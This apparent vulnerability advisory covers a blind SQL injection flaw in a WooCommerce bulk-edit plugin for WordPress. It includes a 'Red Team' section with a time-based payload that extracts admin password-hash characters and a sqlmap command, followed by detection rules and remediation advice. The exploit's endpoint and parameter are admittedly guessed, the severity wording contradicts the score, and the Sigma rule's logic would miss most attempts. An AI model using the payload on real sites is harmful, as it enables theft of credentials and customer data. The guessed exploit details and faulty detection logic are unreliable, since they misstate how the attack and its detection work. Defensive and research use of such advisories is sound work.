CVE-2025-22352

Executive Summary

CVE-2025-22352 is a critical Blind SQL Injection vulnerability discovered in the ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes plugin for WordPress. This plugin, developed by Elextensions, allows attackers to inject malicious SQL queries through improperly neutralized special elements. The vulnerability affects all versions up to and including 1.4.9. With a CVSS score of 7.6, it poses a significant threat to WooCommerce stores, potentially leading to unauthorized data extraction, including user credentials and order details. As a WordPress plugin vulnerability, it is essential to treat this as a WordPress ecosystem issue, not a server-level flaw. No public proof-of-concept (PoC) or patch details are currently available, but the risk remains high due to the blind SQL injection nature, which can be exploited without direct output feedback.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users should verify the integrity of their plugin files and ensure they are sourced from trusted repositories. The lack of a patch from the vendor increases the risk of supply chain attacks, as malicious actors could exploit this to inject backdoors or exfiltrate data from WooCommerce databases.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The high confidentiality impact indicates that an attacker can extract sensitive data from the database, such as user hashes, order information, and WooCommerce settings. The low integrity and availability impacts suggest limited ability to modify or disrupt data, but the primary threat is data theft.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of special elements used in SQL commands within the plugin's bulk editing functionality. Specifically, the plugin fails to sanitize user-supplied input when constructing SQL queries for bulk product updates. This allows an attacker to inject malicious SQL code, which is then executed against the WordPress database.

Blind SQL Injection means the attacker does not receive direct error messages or data output from the database. Instead, they must infer information based on the application's response time or boolean responses (e.g., true/false conditions). This makes exploitation slower but still feasible, especially with automated tools.

The vulnerable parameter is likely passed via HTTP POST or GET requests to the plugin's AJAX handlers. For example, a request to /wp-admin/admin-ajax.php with action elex_bulk_edit and a crafted product_id or attribute parameter could trigger the injection.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (example)
$product_id = $_POST['product_id'];
$query = "UPDATE wp_posts SET post_title = 'Updated' WHERE ID = $product_id";
$wpdb->query($query);

A patched version would use prepared statements or parameterized queries:

// Patched code (example)
$product_id = intval($_POST['product_id']);
$query = $wpdb->prepare("UPDATE wp_posts SET post_title = 'Updated' WHERE ID = %d", $product_id);
$wpdb->query($query);

The key difference is the use of $wpdb->prepare() to safely bind parameters, preventing SQL injection.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker would craft a malicious HTTP request to the vulnerable endpoint. Since no public PoC exists, we provide a generic blind SQL injection payload.

Lab Setup:

1. Install WordPress with WooCommerce and the vulnerable plugin (version 1.4.9).
2. Ensure the plugin is active and accessible via AJAX.

Exploit Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=elex_bulk_edit&product_id=1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users LIMIT 1)

This payload uses time-based blind SQL injection to extract the first character of the admin password hash. The attacker would iterate through characters to reconstruct the hash.

Automated Exploitation: Use sqlmap to automate the process:

sqlmap -u "http://target-site.com/wp-admin/admin-ajax.php" --data="action=elex_bulk_edit&product_id=1" --technique=T --dbms=mysql --batch

Blue Team

To detect exploitation attempts, monitor for:

• Unusual AJAX requests to admin-ajax.php with the elex_bulk_edit action.
• SQL injection patterns in request parameters (e.g., SLEEP, BENCHMARK, UNION).
• Anomalous database query times indicating time-based injection.

Detection Steps:

1. Enable WordPress logging: Add define('WP_DEBUG_LOG', true); to wp-config.php.
2. Monitor web server logs for suspicious parameters.
3. Use a Web Application Firewall (WAF) to block SQL injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=elex_bulk_edit and suspicious SQL keywords in parameters.
  • Unusual User-Agent strings or repeated requests from the same IP.
• File IOCs:
  • Modified plugin files in /wp-content/plugins/elex-bulk-edit-products-prices-attributes-for-woocommerce-basic/.
  • Unexpected database entries in wp_options or wp_usermeta.
• Database IOCs:
  • Unauthorized queries in the MySQL slow query log.
  • New admin users or modified user roles.

Detection Engineering

YARA Rule

rule CVE_2025_22352_Blind_SQLi {
    meta:
        description = "Detects exploitation attempts for CVE-2025-22352 in ELEX WooCommerce Bulk Edit plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22352"
    strings:
        $s1 = "elex_bulk_edit" ascii wide nocase
        $s2 = "product_id" ascii wide nocase
        $s3 = "SLEEP(" ascii wide nocase
        $s4 = "BENCHMARK(" ascii wide nocase
        $s5 = "UNION SELECT" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-22352 Blind SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the ELEX WooCommerce Bulk Edit plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "action=elex_bulk_edit"
            - "product_id="
        cs-uri-query|contains|all:
            - "SLEEP"
            - "BENCHMARK"
            - "UNION"
    condition: selection
falsepositives:
    - Legitimate use of sleep functions in custom code (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22352 Blind SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elex_bulk_edit"; http_client_body; pcre:"/(SLEEP|BENCHMARK|UNION)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the plugin until a patch is released. If the plugin is critical, consider using a Web Application Firewall (WAF) with SQL injection rules.
2. Vendor Contact: Reach out to Elextensions for a patch. Monitor their official channels for updates.
3. Code Hardening: If you have access to the source code, implement prepared statements using $wpdb->prepare() for all database queries.
4. User Education: Advise users to avoid using the bulk edit functionality until the vulnerability is resolved.
5. Monitoring: Implement the detection rules above to identify exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert